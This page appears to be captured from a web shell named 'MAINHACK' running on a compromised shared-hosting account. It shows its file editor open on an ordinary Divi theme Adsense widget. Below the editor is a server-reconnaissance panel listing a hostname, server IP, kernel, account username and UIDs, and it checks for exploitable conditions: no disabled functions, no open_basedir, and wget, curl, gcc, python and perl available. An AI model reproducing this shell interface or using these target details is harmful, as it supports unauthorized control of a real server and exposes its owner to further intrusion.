[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: widget-adsense.php
<?php class AdsenseWidget extends WP_Widget { function __construct(){ $widget_ops = array( 'description' => esc_html__( 'Displays Adsense Ads', 'Divi' ) ); $control_ops = array( 'width' => 400, 'height' => 500 ); parent::__construct( false, $name = esc_html__( 'ET Adsense Widget', 'Divi' ), $widget_ops, $control_ops ); } /* Displays the Widget in the front-end */ function widget( $args, $instance ){ extract($args); $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? esc_html__( 'Adsense', 'Divi' ) : esc_html( $instance['title'] ) ); $adsenseCode = empty( $instance['adsenseCode'] ) ? '' : $instance['adsenseCode']; echo et_core_intentionally_unescaped( $before_widget, 'html' ); if ( $title ) { echo et_core_intentionally_unescaped( $before_title . $title . $after_title, 'html' ); } ?> <div style="overflow: hidden;"> <?php echo et_core_intentionally_unescaped( $adsenseCode, 'html' ); ?> <div class="clearfix"></div> </div> <?php echo et_core_intentionally_unescaped( $after_widget, 'html' ); } /*Saves the settings. */ function update( $new_instance, $old_instance ){ $instance = $old_instance; $instance['title'] = sanitize_text_field( $new_instance['title'] ); $instance['adsenseCode'] = current_user_can('unfiltered_html') ? $new_instance['adsenseCode'] : stripslashes( wp_filter_post_kses( addslashes($new_instance['adsenseCode']) ) ); return $instance; } /*Creates the form for the widget in the back-end. */ function form( $instance ){ //Defaults $instance = wp_parse_args( (array) $instance, array( 'title' => esc_html__( 'Adsense', 'Divi' ), 'adsenseCode'=>'' ) ); $title = $instance['title']; $adsenseCode = $instance['adsenseCode']; # Title echo '<p><label for="' . esc_attr( $this->get_field_id('title') ) . '">' . esc_html__( 'Title', 'Divi' ) . ':' . '</label><input class="widefat" id="' . esc_attr( $this->get_field_id('title') ) . '" name="' . esc_attr( $this->get_field_name('title') ) . '" type="text" value="' . esc_attr( $title ) . '" /></p>'; # Adsense Code echo '<p><label for="' . esc_attr( $this->get_field_id('adsenseCode') ) . '">' . esc_html__( 'Adsense Code', 'Divi' ) . ':' . '</label><textarea cols="20" rows="12" class="widefat" id="' . esc_attr( $this->get_field_id('adsenseCode') ) . '" name="' . esc_attr( $this->get_field_name('adsenseCode') ) . '" >' . esc_textarea( $adsenseCode ) . '</textarea></p>'; } }// end AdsenseWidget class function AdsenseWidgetInit() { register_widget('AdsenseWidget'); } add_action('widgets_init', 'AdsenseWidgetInit');
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830